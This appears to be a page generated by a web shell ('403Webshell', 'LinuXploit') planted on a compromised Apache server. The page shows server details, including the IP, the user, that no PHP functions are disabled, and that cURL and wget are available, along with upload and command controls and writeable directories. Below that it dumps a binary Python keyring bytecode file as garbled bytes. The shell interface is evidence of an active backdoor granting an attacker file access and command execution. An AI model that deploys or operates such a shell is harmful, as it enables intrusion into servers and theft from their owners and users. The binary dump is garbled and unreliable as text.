403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyring/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyring/backends/__pycache__/SecretService.cpython-311.pyc
�

%�cM����ddlmZddlZddlmZddlmZddlmZddlm	Z	ddl
mZmZm
Z
mZ	ddlZddlmZn#e$rYn
e$rYnwxYweje��ZGd	�d
eje��ZdS)�)�closingN�)�backend)�
properties)�KeyringBackend)�SimpleCredential)�	InitError�PasswordDeleteError�ExceptionRaisedContext�
KeyringLockedc�Z�eZdZdZdZejd���Zd�Zd�Z	d�Z
d�Zd�Zd	�Z
d
S)�KeyringzSecret Service KeyringzPython keyring libraryc���t��5}tjddd��n#1swxYwY|rtd���tjdkrtd���	ttj����5}tj|��std���	ddd��n#1swxYwYn)#tj	$r}td|z���d}~wwxYwdS)NzSecretStorage required)�rz#SecretStorage 3.2 or newer requiredzJThe Secret Service daemon is neither running nor activatable through D-Busz&Unable to initialize SecretService: %s�)
r�
secretstorage�__name__�RuntimeError�__version_tuple__r�	dbus_init�check_service_availability�
exceptions�SecretStorageException)�cls�exc�
connection�es    �@/usr/lib/python3/dist-packages/keyring/backends/SecretService.py�priorityzKeyring.priority s}��
#�
%�
%�	#���"�"�	#�	#�	#�	#�	#�	#�	#�	#�	#�	#�	#����	#�	#�	#�	#��	9��7�8�8�8��*�V�3�3��D�E�E�E�	M���0�2�2�3�3�
�z�$�?�
�K�K��&�4�����
�
�
�
�
�
�
�
�
�
�
����
�
�
�
����0�	M�	M�	M��G�!�K�L�L�L�����	M�����qsH�
(�,�,�$ C�$B5�)C�5B9�9C�<B9�=C�C'�C"�"C'c��tj��}	t|d��rtj||j��}ntj|��}n)#tj$r}td|z���d}~wwxYw|�	��r7|�
��|�	��rtd���|S)z�If self.preferred_collection contains a D-Bus path,
        the collection at that address is returned. Otherwise,
        the default collection is returned.
        �preferred_collectionz$Failed to create the collection: %s.Nz Failed to unlock the collection!)rr�hasattr�
Collectionr!�get_default_collectionrrr	�	is_locked�unlockr)�self�bus�
collectionrs    r�get_preferred_collectionz Keyring.get_preferred_collection3s���
�%�'�'��	H��t�3�4�4�
G�*�5�c�4�;T�U�U�
�
�*�A�#�F�F�
����0�	H�	H�	H��B�Q�F�G�G�G�����	H�������!�!�	H��������#�#�%�%�
H�#�$F�G�G�G��s�?A�A;�$A6�6A;c��t|d��r|���|���rtd���dS)Nr&zFailed to unlock the item!)r"r&r%r)r'�items  rr&zKeyring.unlockFsL���4��"�"�	��K�K�M�M�M��>�>���	>�� <�=�=�=�	>�	>�c�x�|���}t|j��5|�|�||����}|D]K}|�|��|����d��ccddd��S	ddd��dS#1swxYwYdS)z,Get password of the username for the service�utf-8N)r*rr�search_items�_queryr&�
get_secret�decode�r'�service�usernamer)�itemsr,s      r�get_passwordzKeyring.get_passwordLs���2�2�4�4�
�
�Z�*�
+�
+�	9�	9��+�+�D�K�K���,J�,J�K�K�E��
9�
9�����D�!�!�!����(�(�/�/��8�8�8�8�		9�	9�	9�	9�	9�	9�	9�	9�
9�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9����	9�	9�	9�	9�	9�	9s�A+B/�/B3�6B3c� �|���}|�|||j���}d�||��}t	|j��5|�|||d���ddd��dS#1swxYwYdS)z,Set password for the username of the service)�applicationzPassword for '{}' on '{}'T)�replaceN)r*r1�appid�formatrr�create_item)r'r5r6�passwordr)�
attributes�labels       r�set_passwordzKeyring.set_passwordUs����2�2�4�4�
��[�[��(��
�[�K�K�
�+�2�2�8�W�E�E��
�Z�*�
+�
+�	N�	N��"�"�5�*�h��"�M�M�M�	N�	N�	N�	N�	N�	N�	N�	N�	N�	N�	N�	N����	N�	N�	N�	N�	N�	Ns�B�B�
Bc�@�|���}t|j��5|�|�||����}|D]#}|���ccddd��S	ddd��n#1swxYwYt
d���)z/Delete the stored password (only the first one)NzNo such password!)r*rrr0r1�deleter
r4s      r�delete_passwordzKeyring.delete_password]s����2�2�4�4�
�
�Z�*�
+�
+�	%�	%��+�+�D�K�K���,J�,J�K�K�E��
%�
%���{�{�}�}�$�$�	%�	%�	%�	%�	%�	%�	%�	%�
%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�"�"5�6�6�6s�AB�B
�
B
c��|j|j}|�||��}|���}t	|j��5|�|��}|D]�}|�|��|����	|d��}t||����d����ccddd��S	ddd��dS#1swxYwYdS)aYGets the first username and password for a service.
        Returns a Credential instance

        The username can be omitted, but if there is one, it will use get_password
        and return a SimpleCredential containing  the username and password
        Otherwise, it will return the first username and password combo that it finds.
        r6r/N)
�schemes�schemer1r*rrr0r&�get_attributes�getrr2r3)r'r5r6rH�queryr)r7r,s        r�get_credentialzKeyring.get_credentialfsz����d�k�*�����G�X�.�.���2�2�4�4�
�
�Z�*�
+�
+�	U�	U��+�+�E�2�2�E��
U�
U�����D�!�!�!��.�.�0�0�4�4�V�J�5G�H�H��'��$�/�/�2C�2C�2J�2J�7�2S�2S�T�T�T�T�	U�	U�	U�	U�	U�	U�	U�	U�
U�	U�	U�	U�	U�	U�	U�	U�	U�	U�	U�	U�	U����	U�	U�	U�	U�	U�	Us�BC>�>D�DN)r�
__module__�__qualname__�__doc__r<r�
classpropertyrr*r&r8rBrErL�r-rrrs������� � �$�E��������$���&>�>�>�9�9�9�N�N�N�7�7�7�U�U�U�U�Ur-r)�
contextlibr�logging�r�_compatrr�credentialsr�errorsr	r
rrr�secretstorage.exceptionsr�ImportError�AttributeError�	getLoggerr�log�SchemeSelectablerrQr-r�<module>r^sb������������������ � � � � � �$�$�$�$�$�$�*�*�*�*�*�*�������������	�����1�1�1�1�1�1�1���	�	�	��D��	�	�	��D�	�����g���!�!��\U�\U�\U�\U�\U�g�&��\U�\U�\U�\U�\Us�
;�A	�A	�A	

Youez - 2016 - github.com/yon3zu
LinuXploit